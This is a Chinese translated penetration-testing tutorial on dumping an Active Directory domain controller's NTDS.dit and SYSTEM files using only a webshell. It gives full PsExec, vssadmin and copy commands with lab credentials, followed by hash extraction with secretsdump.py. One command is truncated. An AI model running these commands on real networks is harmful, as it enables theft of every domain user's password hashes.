通过webshell导出域控ntds.dit文件

Track-SSG   ·   发表于 2018-12-24 11:00:57   ·   漏洞文章

原文:
https://mannulinux.blogspot.com/2018/12/remotely-dump-active-directory-domain.html

大家好,本文我想给大家分享一些关于“Windows活动目录(AD)”环境相关的内容。我会给大家演示如何只使用webshell来dump Windows活动目录用户数据库。

在渗透测试期间,通常会有这样的情况,渗透测试员拿到了域管理员的用户凭证,并且获得了其中一台主机的webshell,而这台主机连接到了Windows活动目录林。渗透测试员尝试得到反向shell,但是因为某些原因一直拿不下(比如说有网络防火墙做了策略),但是渗透测试员的目的是dump AD用户数据库,也就是AD环境下的用户和NTLM密码哈希值。

在测试期间我也遇到过相同的问题(没有公网IP服务器),于是我对这个问题进行了一番研究,并找到了一种办法来解决上述问题,实现了在拿到AD域管理员后,只是用webshell来dump用户名和NTLM密码哈希值。

假如现在环境如下:

  • AD域控主机(queen.DC1.indishell.lab-192.168.56.200)
  • 被入侵的Windows主机-连接到AD(LABONE-192.168.56.101)
  • 成功获得WindowsAD域admin用户(可以使用任何exp,这里我使用的是经典的MS14-025来获得域管理员用户名和密码的)
  • 现在我已经获得了Windows主机的webshell,该主机连接到域,也就是LABONE,IP地址是192.168.56.101,我获得的用户名是“user1”,密码是“ica_1046”。

    在这个例子中,我会用到两个二进制文件:

    1. Psexec.exe->Windows内网工具
    2. Vssadmin->用户创建/删除Windows驱动器卷影副本的命令

    不管怎样,如果我们能够在AD域控主机上执行“vssadmin”命令,这条命令会生成“C”盘的卷影副本,从卷影副本中,我们可以复制AD域控主机上的“ntds.dit”和“SYSTEM”文件。

    为了完成上面提到的任务,我们将会用到“psexec.exe”,这个可执行文件能够在远程Windows主机上执行命令,只要我们指定目标主机IP地址,域管理员用户名和密码,并且加上“elevated”参数(指定-h)。我们需要通过webshell来上传psexec.exe文件到Windows主机LABONE上。通过webshell,我们将指定AD域控主机IP地址,域管理员用户名和密码以及“vssadmin”命令。这个psexec会远程在Windows AD域控上执行vssadmin命令。在创建了C盘的卷影拷贝之后,我们就需要从该主机的卷影拷贝中复制“ntds.dit”和“SYSTEM”文件了,也就是我们拿到webshell的Windows域主机LABONE。这个任务也可以通过psexec来完成,我们只需要指定目标AD域控主机IP,域管理员用户名和密码以及copy命令,我们在其中指定“copy command, please copy the ndts.dit and SYSTEM file from shadow copy to LABONE machine using SMB(复制命令,请使用SMB复制LABONE主机卷影拷贝中的ntds.dit文件和SYSTEM文件)”。我会将文件复制到LABONE主机中psexec文件所在的目录。

    使用psexec在远程主机上执行命令的常用命令:

    psexec.exe \\remote_IP -u user_name -p password_of_the_user -h cmd /c "command_which_we_want_to_execute"<br />

    在我的案例中,信息如下:

  • 远程主机IP:192.168.56.200(queen.DC1.indishell.lab)
  • user_name:user1
  • password_of_the_user:ica_1046
  • 我get了Windows域主机LABONE的webshell,并且在该服务器中上传psexec文件:

    首先,我检查一下该主机上是否有可用的C盘的卷影拷贝,列出可用卷影拷贝的命令如下:

    vssadmin list shadows

    不过,这里的webshell无法显示psexec在远程主机上执行命令的所有输出结果,所以我会重定向输出结果到其他地方。这里我将结果重定向到了目录“C:\xampp\htdocs\box\ps”中。
    执行这个任务的命令是:

    PsExec.exe  \\192.168.56.200 -u user1 -p ica_1046 -h cmd /c "vssadmin list shadows > \\192.168.56.101\C$\xampp\htdocs\box\ps\out.txt"

    Webshell显示psexec正在Windows AD域控主机上执行命令。如果一切顺利的话,我们会在“C:\xampp\htdocs\box\ps”目录中得到一个名为out.txt的文件,文件中的内容是“vssadmin list shadows”命令的执行结果,也就是刚才在AD域控主机上执行的命令。

    现在我们来查看下out.txt文件的内容:

    内容显示,目标域控主机现在还没有C盘的卷影拷贝。

    那我们就来创建C盘的卷影拷贝,这样我们就可以从中窃取ntds.dit文件和SYSTEM文件了。
    创建C盘卷影拷贝的命令如下:

    vssadmin create shadow /for=C:

    有个很重要的一点我们需要记住的是,那就是新创建的C盘卷影拷贝的名字,它会显示在命令的输出结果中,所以我们将要上面那条命令的输出结果重定向到我们已经get到webshell的主机上。
    想要复制目标主机的ntds.dit文件和SYSTEM文件,我们要知道卷影拷贝的名字,最终的命令如下:

    PsExec.exe  \\192.168.56.200 -u user1 -p ica_1046 -h cmd /c "vssadmin create shadow /for=C: >

    在上面的命令中,psexec在Windows AD域控主机上执行命令来创建C盘的卷影拷贝,并且重定向输出结果到主机LABONE下的“C\xampp\htdoc\box\ps\out.txt”文件中。

    Out.txt文件中的内容会告诉我们卷影拷贝的位置:

    在上面的截图中,我们可以看到,卷影拷贝名字是\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\
    一般,ntds.dit文件和SYSTEM文件的位置如下:

  • "shadow_copy_volume_name\Windows\NTDS\NTDS.dit"
  • "shadow_copy_volume_name\Windows\System32\config\SYSTEM"
  • 在我的例子中,这两个文件的位置也就是:

  • \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\NTDS\NTDS.dit
  • \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\System32\config\SYSTEM
  • 接着,我们使用下列命令来复制目标Windows AD域控上的ntds.dit文件和SYSTEM文件:

    PsExec.exe  \\192.168.56.200 -u user1 -p ica_1046 -h cmd /c "copy  \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\NTDS\NTDS.dit  \\192.168.56.101\C$\xampp\htdocs\box\ps\"

    这条命令将会从IP为192.168.56.200的远程主机上复制ntds.dit文件到IP为192.168.56.101的LABONE主机的“C\xampp\htdocs\box\ps\”目录中。

    并且会在webshell中显示“1 file has been copied from target DC machine to my machine(一个文件已经从目标域控主机复制到我的主机中)”。我们来确认下目录“C:\xampp\htdocs\box\ps\”下是否存在ntds.dit文件。

    如图可见,该文件已经复制到LABONE主机上了。

    最后,使用下列命令来复制SYSTEM文件:

    PsExec.exe  \\192.168.56.200 -u user1 -p ica_1046 -h cmd /c "copy  \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\System32\config\SYSTEM  \\192.168.56.101\C$\xampp\htdocs\box\ps\"


    命令成功执行,webshell显示一个文件成功复制的提示消息。还是来确认下文件是否已经复制过来,如图:

    可以看到也已经存在于目录中了,现在两个文件都已经存在于LABONE这个主机上了,那我们就可以通过webshell来下载文件了。

    现在我们可以使用secretsdump.py这个Python脚本来提取ntds.dit和SYSTEM文件中的域,uid,rid LM和NT哈希值了,命令如下:

    python secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

    脚本跑完之后,结果如图:


    打赏我,让我更有动力~

    0 条回复   |  直到 2018-12-24 | 1352 次浏览
    登录后才可发表内容
    返回顶部 投诉反馈

    © 2016 - 2024 掌控者 All Rights Reserved.